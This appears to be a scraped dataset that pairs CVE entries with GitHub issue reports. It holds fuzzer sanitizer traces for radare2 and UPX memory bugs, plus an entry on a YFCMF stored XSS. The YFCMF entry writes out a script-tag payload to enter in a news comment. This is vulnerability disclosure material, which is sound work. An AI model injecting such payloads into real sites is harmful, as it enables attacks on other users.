#8 0x7fffeefff4bc in r_bin_object_new /home/fuzz/fuzz/radare2/libr/bin/bobj.c:172:2
#9 0x7fffeefe4299 in r_bin_file_new_from_buffer /home/fuzz/fuzz/radare2/libr/bin/bfile.c:529:19
#10 0x7fffeef827c9 in r_bin_open_buf /home/fuzz/fuzz/radare2/libr/bin/bin.c:286:8
#11 0x7fffeef80381 in r_bin_open_io /home/fuzz/fuzz/radare2/libr/bin/bin.c:346:13
#12 0x7fffeef7edf0 in r_bin_open /home/fuzz/fuzz/radare2/libr/bin/bin.c:231:9
#13 0x7ffff7db242b in r_main_rabin2 /home/fuzz/fuzz/radare2/libr/main/rabin2.c:1069:7
#14 0x55555561af91 in main /home/fuzz/fuzz/radare2/binr/rabin2/rabin2.c:6:9
#15 0x7ffff7b4d0b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
#16 0x5555555712dd in _start (/home/fuzz/fuzz/radare2/binr/rabin2/rabin2+0x1d2dd)
0x602000065890 is located 0 bytes inside of 16-byte region [0x602000065890,0x6020000658a0)
freed by thread T0 here:
#0 0x5555555eb0cd in free (/home/fuzz/fuzz/radare2/binr/rabin2/rabin2+0x970cd)
#1 0x7fffef7be7e9 in free_object /home/fuzz/fuzz/radare2/libr/../libr/bin/p/../format/pyc/marshal.c:781:2
#2 0x7fffef7c1b47 in get_object /home/fuzz/fuzz/radare2/libr/../libr/bin/p/../format/pyc/marshal.c:1140:3
#3 0x7fffef7bc09e in get_code_object /home/fuzz/fuzz/radare2/libr/../libr/bin/p/../format/pyc/marshal.c:940:15
#4 0x7fffef7c1718 in get_object /home/fuzz/fuzz/radare2/libr/../libr/bin/p/../format/pyc/marshal.c:1065:9
#5 0x7fffef7be85f in get_sections_symbols_from_code_objects /home/fuzz/fuzz/radare2/libr/../libr/bin/p/../format/pyc/marshal.c:1218:34
#6 0x7fffef7ce054 in pyc_get_sections_symbols /home/fuzz/fuzz/radare2/libr/../libr/bin/p/../format/pyc/pyc.c:7:9
#7 0x7fffef7b985f in symbols /home/fuzz/fuzz/radare2/libr/../libr/bin/p/bin_pyc.c:124:2
#8 0x7fffef003464 in r_bin_object_set_items /home/fuzz/fuzz/radare2/libr/bin/bobj.c:327:16
#9 0x7fffeefff4bc in r_bin_object_new /home/fuzz/fuzz/radare2/libr/bin/bobj.c:172:2
#10 0x7fffeefe4299 in r_bin_file_new_from_buffer /home/fuzz/fuzz/radare2/libr/bin/bfile.c:529:19
#11 0x7fffeef827c9 in r_bin_open_buf /home/fuzz/fuzz/radare2/libr/bin/bin.c:286:8
#12 0x7fffeef80381 in r_bin_open_io /home/fuzz/fuzz/radare2/libr/bin/bin.c:346:13
#13 0x7fffeef7edf0 in r_bin_open /home/fuzz/fuzz/radare2/libr/bin/bin.c:231:9
#14 0x7ffff7db242b in r_main_rabin2 /home/fuzz/fuzz/radare2/libr/main/rabin2.c:1069:7
#15 0x55555561af91 in main /home/fuzz/fuzz/radare2/binr/rabin2/rabin2.c:6:9
#16 0x7ffff7b4d0b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
previously allocated by thread T0 here:
#0 0x5555555eb4c2 in calloc (/home/fuzz/fuzz/radare2/binr/rabin2/rabin2+0x974c2)
#1 0x7fffef7c2376 in get_none_object /home/fuzz/fuzz/radare2/libr/../libr/bin/p/../format/pyc/marshal.c:93:8
#2 0x7fffef7c1461 in get_object /home/fuzz/fuzz/radare2/libr/../libr/bin/p/../format/pyc/marshal.c:1022:9
#3 0x7fffef7bc09e in get_code_object /home/fuzz/fuzz/radare2/libr/../libr/bin/p/../format/pyc/marshal.c:940:15
#4 0x7fffef7c1718 in get_object /home/fuzz/fuzz/radare2/libr/../libr/bin/p/../format/pyc/marshal.c:1065:9
#5 0x7fffef7be85f in get_sections_symbols_from_code_objects /home/fuzz/fuzz/radare2/libr/../libr/bin/p/../format/pyc/marshal.c:1218:34
#6 0x7fffef7ce054 in pyc_get_sections_symbols /home/fuzz/fuzz/radare2/libr/../libr/bin/p/../format/pyc/pyc.c:7:9
#7 0x7fffef7b985f in symbols /home/fuzz/fuzz/radare2/libr/../libr/bin/p/bin_pyc.c:124:2
#8 0x7fffef003464 in r_bin_object_set_items /home/fuzz/fuzz/radare2/libr/bin/bobj.c:327:16
#9 0x7fffeefff4bc in r_bin_object_new /home/fuzz/fuzz/radare2/libr/bin/bobj.c:172:2
#10 0x7fffeefe4299 in r_bin_file_new_from_buffer /home/fuzz/fuzz/radare2/libr/bin/bfile.c:529:19
#11 0x7fffeef827c9 in r_bin_open_buf /home/fuzz/fuzz/radare2/libr/bin/bin.c:286:8
#12 0x7fffeef80381 in r_bin_open_io /home/fuzz/fuzz/radare2/libr/bin/bin.c:346:13
#13 0x7fffeef7edf0 in r_bin_open /home/fuzz/fuzz/radare2/libr/bin/bin.c:231:9
#14 0x7ffff7db242b in r_main_rabin2 /home/fuzz/fuzz/radare2/libr/main/rabin2.c:1069:7
#15 0x55555561af91 in main /home/fuzz/fuzz/radare2/binr/rabin2/rabin2.c:6:9
#16 0x7ffff7b4d0b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
SUMMARY: AddressSanitizer: heap-use-after-free /home/fuzz/fuzz/radare2/libr/../libr/bin/p/../format/pyc/marshal.c:790:23 in copy_object
Shadow bytes around the buggy address:
0x0c0480004ac0: fa fa 03 fa fa fa 04 fa fa fa 04 fa fa fa 04 fa
0x0c0480004ad0: fa fa fd fd fa fa fd fd fa fa 02 fa fa fa 00 04
0x0c0480004ae0: fa fa fd fd fa fa fd fd fa fa 00 04 fa fa 00 04
0x0c0480004af0: fa fa 00 04 fa fa 02 fa fa fa fd fa fa fa fd fa
0x0c0480004b00: fa fa 00 00 fa fa 00 04 fa fa 00 00 fa fa 00 00
=>0x0c0480004b10: fa fa[fd]fd fa fa fd fa fa fa 00 00 fa fa fa fa
0x0c0480004b20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0480004b30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0480004b40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0480004b50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0480004b60: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==1631110==ABORTING
```
Without Sanitizer:
```
Undefined type in copy_object (556d8a00)
Copy not implemented for type 78
Undefined type in free_object (556d8a00)
free(): double free detected in tcache 2
Aborted
```
This issue is also produced with radare2:
```sh
fuzz@fuzz:~/fuzz/issue$ radare2 double_free
Undefined type in copy_object (556b9b50)
Copy not implemented for type 78
Undefined type in free_object (556b9b50)
free(): double free detected in tcache 2
Aborted
```
## Test
<!-- Steps to reproduce the issue and provide files/links/images/.. -->
This is the my debugging screenshot.
[double_free.zip](https://github.com/radareorg/radare2/files/6441807/double_free.zip)
| Heap-use-after-free bug on .pyc parser | https://api.github.com/repos/radareorg/radare2/issues/18666/comments | 0 | 2021-05-07T13:24:58Z | 2021-05-07T19:10:25Z | https://github.com/radareorg/radare2/issues/18666 | 879,000,069 | 18,666 | 1,936 |
CVE-2021-32613 | 2021-05-14T13:15:07.377 | In radare2 through 5.3.0 there is a double free vulnerability in the pyc parse via a crafted file which can lead to DoS. | {
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"radareorg",
"radare2"
] | ## Environment
```sh
fuzz@fuzz:~/fuzz/issue$ date
Fri 07 May 2021 01:44:26 PM UTC
fuzz@fuzz:~/fuzz/issue$ r2 -v
radare2 5.3.0-git 26142 @ linux-x86-64 git.5.2.1
commit: 518bf6664cedcb3035c9c47388b4fa03bba66748 build: 2021-05-07__12:55:47
fuzz@fuzz:~/fuzz/issue$ uname -ms
Linux x86_64
```
## Description
<!-- Explain what's the issue and what would you expect to see -->
While I am fuzzing rabin2 binary with -I parameter, I found out that there may be a floating point exception ( divide by zero) bug on it. rebase_buffer function is throwing floating point exception with the attached Mach-O file. I am not debugging master but page_size is 0 on rebase_buffer which may cause to this bug.
With MSAN:
```sh
fuzz@fuzz:~/fuzz/issue$ rabin2 -I test
MemorySanitizer:DEADLYSIGNAL
==905482==ERROR: MemorySanitizer: FPE on unknown address 0x7ffff3ed678c (pc 0x7ffff3ed678c bp 0x7ffffff988c0 sp 0x7ffffff98470 T905482)
#0 0x7ffff3ed678c in rebase_buffer /home/fuzz/fuzz/radare2/libr/../libr/bin/p/bin_mach0.c:778:49
#1 0x7ffff3ed5b71 in rebasing_and_stripping_io_read /home/fuzz/fuzz/radare2/libr/../libr/bin/p/bin_mach0.c:757:3
#2 0x7ffff791acf7 in r_io_plugin_read /home/fuzz/fuzz/radare2/libr/io/io_plugin.c:162:9
#3 0x7ffff792cc03 in r_io_desc_read /home/fuzz/fuzz/radare2/libr/io/io_desc.c:205:12
#4 0x7ffff794baa5 in r_io_fd_read /home/fuzz/fuzz/radare2/libr/io/io_fd.c:21:15
#5 0x7ffff74a97ca in buf_io_read /home/fuzz/fuzz/radare2/libr/util/./buf_io.c:72:9
#6 0x7ffff74981ae in buf_read /home/fuzz/fuzz/radare2/libr/util/buf.c:40:27
#7 0x7ffff7495e77 in r_buf_read /home/fuzz/fuzz/radare2/libr/util/buf.c:427:11
#8 0x7ffff749512b in r_buf_read_at /home/fuzz/fuzz/radare2/libr/util/buf.c:577:6
#9 0x7ffff3f13412 in get_hdr /home/fuzz/fuzz/radare2/libr/../libr/bin/p/../format/mach0/mach0.c:4343:8
#10 0x7ffff3f16d81 in mach_fields /home/fuzz/fuzz/radare2/libr/../libr/bin/p/../format/mach0/mach0.c:4224:35
#11 0x7ffff3c3d9be in r_bin_object_set_items /home/fuzz/fuzz/radare2/libr/bin/bobj.c:313:15
#12 0x7ffff3c3b588 in r_bin_object_new /home/fuzz/fuzz/radare2/libr/bin/bobj.c:172:2
#13 0x7ffff3c1d379 in r_bin_file_new_from_buffer /home/fuzz/fuzz/radare2/libr/bin/bfile.c:529:19
#14 0x7ffff3bb803b in r_bin_open_buf /home/fuzz/fuzz/radare2/libr/bin/bin.c:286:8
#15 0x7ffff3bb6048 in r_bin_open_io /home/fuzz/fuzz/radare2/libr/bin/bin.c:346:13
#16 0x7ffff3bb4919 in r_bin_open /home/fuzz/fuzz/radare2/libr/bin/bin.c:231:9
#17 0x7ffff7dde246 in r_main_rabin2 /home/fuzz/fuzz/radare2/libr/main/rabin2.c:1069:7
#18 0x5555555ec931 in main /home/fuzz/fuzz/radare2/binr/rabin2/rabin2.c:6:9
#19 0x7ffff7bb10b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
#20 0x55555557225d in _start (/home/fuzz/fuzz/radare2/binr/rabin2/rabin2+0x1e25d)
MemorySanitizer can not provide additional info.
SUMMARY: MemorySanitizer: FPE /home/fuzz/fuzz/radare2/libr/../libr/bin/p/bin_mach0.c:778:49 in rebase_buffer
==905482==ABORTING
```
Without ASAN:
```sh
fuzz@fuzz:~/fuzz/issue$ rabin2 -I test
Floating point exception
```
This issue is also produced with radare2:
```sh
fuzz@fuzz:~/fuzz/issue$ radare2 floating_point
Floating point exception
```
## Test
<!-- Steps to reproduce the issue and provide files/links/images/.. -->
Value of page_size variable when `ut64 page_idx = (R_MAX (start, off) - start) / page_size;` is called.
File format of test file.
[floating_point.zip](https://github.com/radareorg/radare2/files/6442014/floating_point.zip)
| Floating point exception on Mach-O parser | https://api.github.com/repos/radareorg/radare2/issues/18667/comments | 1 | 2021-05-07T14:01:34Z | 2021-05-07T16:45:40Z | https://github.com/radareorg/radare2/issues/18667 | 879,062,089 | 18,667 | 1,937 |
CVE-2021-32613 | 2021-05-14T13:15:07.377 | In radare2 through 5.3.0 there is a double free vulnerability in the pyc parse via a crafted file which can lead to DoS. | {
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"radareorg",
"radare2"
] | ## Environment
```sh
# copypaste this script into your shell and replace it with the output
fuzz@fuzz:~/fuzz/issue$ date
Tue 11 May 2021 11:50:43 AM UTC
fuzz@fuzz:~/fuzz/issue$ r2 -v
radare2 5.3.0-git 26277 @ linux-x86-64 git.5.2.1
commit: 708e5c986ce686b01b84a6162f1cec1429ea8198 build: 2021-05-11__09:03:45
fuzz@fuzz:~/fuzz/issue$ uname -ms
Linux x86_64
```
## Description
<!-- Explain what's the issue and what would you expect to see -->
While I am fuzzing rabin2 with -I parameter, I am encountered several heap memory bugs with the same file on different sanitizers. I assume that if nested pyc magic byte (94 94 94) is occured in file, radare2 tries to parse and does memory operations more than once and heap memory bugs are triggered. While ASAN throws heap-use-after free error on r_bin_object_set_items, MSAN and vanilla run throws double-free error. This will lead seperate bugs both on r_bin_filter_name and r_bin_object_set_items .
With ASAN:
```sh
fuzz@fuzz:~/fuzz/issue$ rabin2 -I heap-use-after-free
Undefined type in get_object (0x7e)
Copy not implemented for type 66
Undefined type in get_object (0x7f)
Undefined type in get_object (0x14)
Undefined type in get_object (0x14)
Undefined type in get_object (0x14)
Undefined type in get_object (0x14)
=================================================================
==1118949==ERROR: AddressSanitizer: heap-use-after-free on address 0x60700007e200 at pc 0x7ffff41b0064 bp 0x7ffffff9c3f0 sp 0x7ffffff9c3e0
READ of size 8 at 0x60700007e200 thread T0
#0 0x7ffff41b0063 in r_bin_object_set_items /home/fuzz/fuzz/radare2/libr/bin/bobj.c:345
#1 0x7ffff41ae3ac in r_bin_object_new /home/fuzz/fuzz/radare2/libr/bin/bobj.c:172
#2 0x7ffff41a8c1d in r_bin_file_new_from_buffer /home/fuzz/fuzz/radare2/libr/bin/bfile.c:529
#3 0x7ffff4187532 in r_bin_open_buf /home/fuzz/fuzz/radare2/libr/bin/bin.c:286
#4 0x7ffff4187bb9 in r_bin_open_io /home/fuzz/fuzz/radare2/libr/bin/bin.c:346
#5 0x7ffff4186a72 in r_bin_open /home/fuzz/fuzz/radare2/libr/bin/bin.c:231
#6 0x7ffff7549e8b in r_main_rabin2 /home/fuzz/fuzz/radare2/libr/main/rabin2.c:1069
#7 0x5555555551ac in main /home/fuzz/fuzz/radare2/binr/rabin2/rabin2.c:6
#8 0x7ffff73520b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
#9 0x5555555550cd in _start (/home/fuzz/fuzz/radare2/binr/rabin2/rabin2+0x10cd)
0x60700007e200 is located 32 bytes inside of 72-byte region [0x60700007e1e0,0x60700007e228)
freed by thread T0 here:
#0 0x7ffff769b7cf in __interceptor_free (/lib/x86_64-linux-gnu/libasan.so.5+0x10d7cf)
#1 0x7ffff442b45b in extract_sections_symbols /home/fuzz/fuzz/radare2/libr/..//libr/bin/p/../format/pyc/marshal.c:1205
#2 0x7ffff442b4f7 in get_sections_symbols_from_code_objects /home/fuzz/fuzz/radare2/libr/..//libr/bin/p/../format/pyc/marshal.c:1218
#3 0x7ffff442c18c in pyc_get_sections_symbols /home/fuzz/fuzz/radare2/libr/..//libr/bin/p/../format/pyc/pyc.c:7
#4 0x7ffff4423c07 in symbols /home/fuzz/fuzz/radare2/libr/..//libr/bin/p/bin_pyc.c:124
#5 0x7ffff41afbd2 in r_bin_object_set_items /home/fuzz/fuzz/radare2/libr/bin/bobj.c:327
#6 0x7ffff41ae3ac in r_bin_object_new /home/fuzz/fuzz/radare2/libr/bin/bobj.c:172
#7 0x7ffff41a8c1d in r_bin_file_new_from_buffer /home/fuzz/fuzz/radare2/libr/bin/bfile.c:529
#8 0x7ffff4187532 in r_bin_open_buf /home/fuzz/fuzz/radare2/libr/bin/bin.c:286
#9 0x7ffff4187bb9 in r_bin_open_io /home/fuzz/fuzz/radare2/libr/bin/bin.c:346
#10 0x7ffff4186a72 in r_bin_open /home/fuzz/fuzz/radare2/libr/bin/bin.c:231
#11 0x7ffff7549e8b in r_main_rabin2 /home/fuzz/fuzz/radare2/libr/main/rabin2.c:1069
#12 0x5555555551ac in main /home/fuzz/fuzz/radare2/binr/rabin2/rabin2.c:6
#13 0x7ffff73520b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
previously allocated by thread T0 here:
#0 0x7ffff769bdc6 in calloc (/lib/x86_64-linux-gnu/libasan.so.5+0x10ddc6)
#1 0x7ffff442adf4 in extract_sections_symbols /home/fuzz/fuzz/radare2/libr/..//libr/bin/p/../format/pyc/marshal.c:1166
#2 0x7ffff442b4f7 in get_sections_symbols_from_code_objects /home/fuzz/fuzz/radare2/libr/..//libr/bin/p/../format/pyc/marshal.c:1218
#3 0x7ffff442c18c in pyc_get_sections_symbols /home/fuzz/fuzz/radare2/libr/..//libr/bin/p/../format/pyc/pyc.c:7
#4 0x7ffff4423c07 in symbols /home/fuzz/fuzz/radare2/libr/..//libr/bin/p/bin_pyc.c:124
#5 0x7ffff41afbd2 in r_bin_object_set_items /home/fuzz/fuzz/radare2/libr/bin/bobj.c:327
#6 0x7ffff41ae3ac in r_bin_object_new /home/fuzz/fuzz/radare2/libr/bin/bobj.c:172
#7 0x7ffff41a8c1d in r_bin_file_new_from_buffer /home/fuzz/fuzz/radare2/libr/bin/bfile.c:529
#8 0x7ffff4187532 in r_bin_open_buf /home/fuzz/fuzz/radare2/libr/bin/bin.c:286
#9 0x7ffff4187bb9 in r_bin_open_io /home/fuzz/fuzz/radare2/libr/bin/bin.c:346
#10 0x7ffff4186a72 in r_bin_open /home/fuzz/fuzz/radare2/libr/bin/bin.c:231
#11 0x7ffff7549e8b in r_main_rabin2 /home/fuzz/fuzz/radare2/libr/main/rabin2.c:1069
#12 0x5555555551ac in main /home/fuzz/fuzz/radare2/binr/rabin2/rabin2.c:6
#13 0x7ffff73520b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
SUMMARY: AddressSanitizer: heap-use-after-free /home/fuzz/fuzz/radare2/libr/bin/bobj.c:345 in r_bin_object_set_items
Shadow bytes around the buggy address:
0x0c0e80007bf0: fd fd fa fa fa fa 00 00 00 00 00 00 00 00 00 00
0x0c0e80007c00: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 fa fa
0x0c0e80007c10: fa fa fd fd fd fd fd fd fd fd fd fa fa fa fa fa
0x0c0e80007c20: fd fd fd fd fd fd fd fd fd fa fa fa fa fa fd fd
0x0c0e80007c30: fd fd fd fd fd fd fd fd fa fa fa fa fd fd fd fd
=>0x0c0e80007c40:[fd]fd fd fd fd fa fa fa fa fa 00 00 00 00 00 00
0x0c0e80007c50: 00 00 04 fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0e80007c60: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0e80007c70: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0e80007c80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0e80007c90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==1118949==ABORTING
```
With MSAN:
```sh
fuzz@fuzz:~/fuzz/issue/11-may$ rabin2 -I heap-use-after-free
Undefined type in get_object (0x7e)
Copy not implemented for type 66
Undefined type in get_object (0x7f)
Undefined type in get_object (0x14)
Undefined type in get_object (0x14)
Undefined type in get_object (0x14)
Undefined type in get_object (0x14)
MemorySanitizer:DEADLYSIGNAL
==1689666==ERROR: MemorySanitizer: SEGV on unknown address (pc 0x7ffff7c3ed5a bp 0x7ffffff99180 sp 0x7ffffff98c08 T1689666)
==1689666==The signal is caused by a READ memory access.
==1689666==Hint: this fault was caused by a dereference of a high value address (see register values below). Dissassemble the provided pc to learn which register was used.
#0 0x7ffff7c3ed5a /build/glibc-eX1tMB/glibc-2.31/string/../sysdeps/x86_64/multiarch/../strlen.S:120
#1 0x7ffff7c05e94 in __vfprintf_internal /build/glibc-eX1tMB/glibc-2.31/stdio-common/vfprintf-internal.c:1688:4
#2 0x7ffff7c19119 in __vsnprintf_internal /build/glibc-eX1tMB/glibc-2.31/libio/vsnprintf.c:114:9
#3 0x555555587961 in vsnprintf (/home/fuzz/fuzz/radare2/binr/rabin2/rabin2+0x33961)
#4 0x7ffff77b2244 in sdb_fmt /home/fuzz/fuzz/radare2/shlr/sdb/src/fmt.c:33:3
#5 0x7ffff3c0f6a8 in r_bin_filter_name /home/fuzz/fuzz/radare2/libr/bin/filter.c:36:22
#6 0x7ffff3c12aa1 in r_bin_filter_sections /home/fuzz/fuzz/radare2/libr/bin/filter.c:135:13
#7 0x7ffff3c3d6f1 in r_bin_object_set_items /home/fuzz/fuzz/radare2/libr/bin/bobj.c:347:4
#8 0x7ffff3c39588 in r_bin_object_new /home/fuzz/fuzz/radare2/libr/bin/bobj.c:172:2
#9 0x7ffff3c1b379 in r_bin_file_new_from_buffer /home/fuzz/fuzz/radare2/libr/bin/bfile.c:529:19
#10 0x7ffff3bb603b in r_bin_open_buf /home/fuzz/fuzz/radare2/libr/bin/bin.c:286:8
#11 0x7ffff3bb4048 in r_bin_open_io /home/fuzz/fuzz/radare2/libr/bin/bin.c:346:13
#12 0x7ffff3bb2919 in r_bin_open /home/fuzz/fuzz/radare2/libr/bin/bin.c:231:9
#13 0x7ffff7dde246 in r_main_rabin2 /home/fuzz/fuzz/radare2/libr/main/rabin2.c:1069:7
#14 0x5555555ec931 in main /home/fuzz/fuzz/radare2/binr/rabin2/rabin2.c:6:9
#15 0x7ffff7bb10b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
#16 0x55555557225d in _start (/home/fuzz/fuzz/radare2/binr/rabin2/rabin2+0x1e25d)
MemorySanitizer can not provide additional info.
SUMMARY: MemorySanitizer: SEGV /build/glibc-eX1tMB/glibc-2.31/string/../sysdeps/x86_64/multiarch/../strlen.S:120
==1689666==ABORTING
```
Without sanitizer:
```sh
fuzz@fuzz:~/fuzz/issue/11-may$ rabin2 -I heap-use-after-free
Undefined type in get_object (0x7e)
Copy not implemented for type 66
Undefined type in get_object (0x7f)
Undefined type in get_object (0x14)
Undefined type in get_object (0x14)
Undefined type in get_object (0x14)
Undefined type in get_object (0x14)
free(): double free detected in tcache 2
Aborted
```
Although, When I will test it with nested 94 94 94 with no following bytes, It runs normally.
```sh
fuzz@fuzz:~/fuzz/issue/11-may$ rabin2 -I test-without-nested
Undefined type in get_object (0x7e)
Copy not implemented for type 66
Undefined type in get_object (0x7f)
Undefined type in get_object (0x14)
Undefined type in get_object (0x14)
Undefined type in get_object (0x14)
Free not implemented for type 7b
Free not implemented for type 66
arch pyc
cpu 0.9.4 beta
baddr 0x0
binsz 40
bintype pyc
bits 16
canary false
retguard false
class Python byte-compiled file
crypto false
endian little
havecode true
laddr 0x0
linenum false
lsyms false
machine Python 0.9.4 beta VM (rev 77b80a91d357c1d95d8e7cd4cbbe799e5deb777e)
maxopsz 16
minopsz 1
nx false
os any
pcalign 0
pic false
relocs false
sanitiz false
static true
stripped false
va false
```
It is failing with additional bytes after nested magic byte.
## Test
<!-- Steps to reproduce the issue and provide files/links/images/.. -->
You can find files mentioned above in this zip file.
[heap-use-after-free.zip](https://github.com/radareorg/radare2/files/6459018/heap-use-after-free.zip)
| Heap memory bugs on pyc parse | https://api.github.com/repos/radareorg/radare2/issues/18679/comments | 2 | 2021-05-11T12:22:26Z | 2021-05-25T08:32:59Z | https://github.com/radareorg/radare2/issues/18679 | 887,107,096 | 18,679 | 1,938 |
CVE-2020-23689 | 2021-05-14T14:15:07.777 | In YFCMF v2.3.1, there is a stored XSS vulnerability in the comments section of the news page. | {
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"YFCMF"
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example：http://192.168.211.1/YFCMF-master/news/12.html
Then leave a message and enter the payload：<script>alert(1111111)</script>
View in the background of the website
| YFCMF v2.3.1 has a storage xss vulnerability | https://api.github.com/repos/lxw1844912514/YFCMF/issues/2/comments | 0 | 2020-06-21T14:16:08Z | 2020-06-21T14:16:08Z | https://github.com/lxw1844912514/YFCMF/issues/2 | 642,571,591 | 2 | 1,939 |
CVE-2020-24119 | 2021-05-14T21:15:07.247 | A heap buffer overflow read was discovered in upx 4.0.0, because the check in p_lx_elf.cpp is not perfect. | {
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"Exploit",
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"Patch",
"Third Party Advisory"
] | github.com | [
"upx",
"upx"
] | Author: giantbranch of NSFOCUS Security Team
## What's the problem (or question)?
A heap buffer overflow read in the latest commit [4e1ae22a1a07be5135c68b25ff05058ae8ae48e1](https://github.com/upx/upx/commit/4e1ae22a1a07be5135c68b25ff05058ae8ae48e1) of the devel branch
ASAN reports:
```
==6518==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x616000000300 at pc 0x000000756793 bp 0x7ffdf8e9ed60 sp 0x7ffdf8e9ed58
READ of size 4 at 0x616000000300 thread T0
#0 0x756792 in get_le32(void const*) /src/upx-multi/src/./bele.h:164:12
#1 0x756792 in N_BELE_RTP::LEPolicy::get32(void const*) const /src/upx-multi/src/./bele_policy.h:192:18
#2 0x5d0186 in Packer::get_te32(void const*) const /src/upx-multi/src/./packer.h:296:65
#3 0x5d0186 in PackLinuxElf64::unpack(OutputFile*) /src/upx-multi/src/p_lx_elf.cpp:4643:28
#4 0x6c7820 in Packer::doUnpack(OutputFile*) /src/upx-multi/src/packer.cpp:107:5
#5 0x757f59 in do_one_file(char const*, char*) /src/upx-multi/src/work.cpp:160:12
#6 0x7594b2 in do_files(int, int, char**) /src/upx-multi/src/work.cpp:271:13
#7 0x555aed in main /src/upx-multi/src/main.cpp:1538:5
#8 0x7f0daabe483f in __libc_start_main /build/glibc-e6zv40/glibc-2.23/csu/../csu/libc-start.c:291
#9 0x41ce98 in _start (/out/upx-multi/upx-multi+0x41ce98)
0x616000000300 is located 40 bytes to the right of 600-byte region [0x616000000080,0x6160000002d8)
allocated by thread T0 here:
#0 0x49519d in malloc (/out/upx-multi/upx-multi+0x49519d)
#1 0x5697a7 in MemBuffer::alloc(unsigned long long) /src/upx-multi/src/mem.cpp:194:42
SUMMARY: AddressSanitizer: heap-buffer-overflow /src/upx-multi/src/./bele.h:164:12 in get_le32(void const*)
Shadow bytes around the buggy address:
0x0c2c7fff8010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c2c7fff8020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c2c7fff8030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c2c7fff8040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c2c7fff8050: 00 00 00 00 00 00 00 00 00 00 00 fa fa fa fa fa
=>0x0c2c7fff8060:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c2c7fff8070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c2c7fff8080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c2c7fff8090: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c2c7fff80a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c2c7fff80b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==6518==ABORTING
```
## What should have happened?
Check if the file is normal, exit if abnormal
## Do you have an idea for a solution?
Add more checks
## How can we reproduce the issue?
upx.out -d <poc_filename>
poc:
[poc-heap-buffer-overflow-get_le32.tar.gz](https://github.com/upx/upx/files/4958990/poc-heap-buffer-overflow-get_le32.tar.gz)
## Please tell us details about your environment.
* UPX version used (`upx --version`):
```
upx 4.0.0-git-4e1ae22a1a07+
UCL data compression library 1.03
zlib data compression library 1.2.8
LZMA SDK version 4.43
Copyright (C) 1996-2020 Markus Franz Xaver Johannes Oberhumer
Copyright (C) 1996-2020 Laszlo Molnar
Copyright (C) 2000-2020 John F. Reiser
Copyright (C) 2002-2020 Jens Medoch
Copyright (C) 1995-2005 Jean-loup Gailly and Mark Adler
Copyright (C) 1999-2006 Igor Pavlov
UPX comes with ABSOLUTELY NO WARRANTY; for details type 'upx-multi -L'.
```
* Host Operating System and version: Ubuntu 16.04.2 LTS
* Host CPU architecture: x86_64
* Target Operating System and version: same as Host
* Target CPU architecture: same as Host
| Heap buffer overflow in get_le32() | https://api.github.com/repos/upx/upx/issues/388/comments | 1 | 2020-07-22T09:10:40Z | 2020-08-06T07:29:29Z | https://github.com/upx/upx/issues/388 | 663,602,931 | 388 | 1,940 |
CVE-2020-16632 | 2021-05-15T00:15:07.317 | A XSS Vulnerability in /uploads/dede/action_search.php in DedeCMS V5.7 SP2 allows an authenticated user to execute remote arbitrary code via the keyword parameter. | {
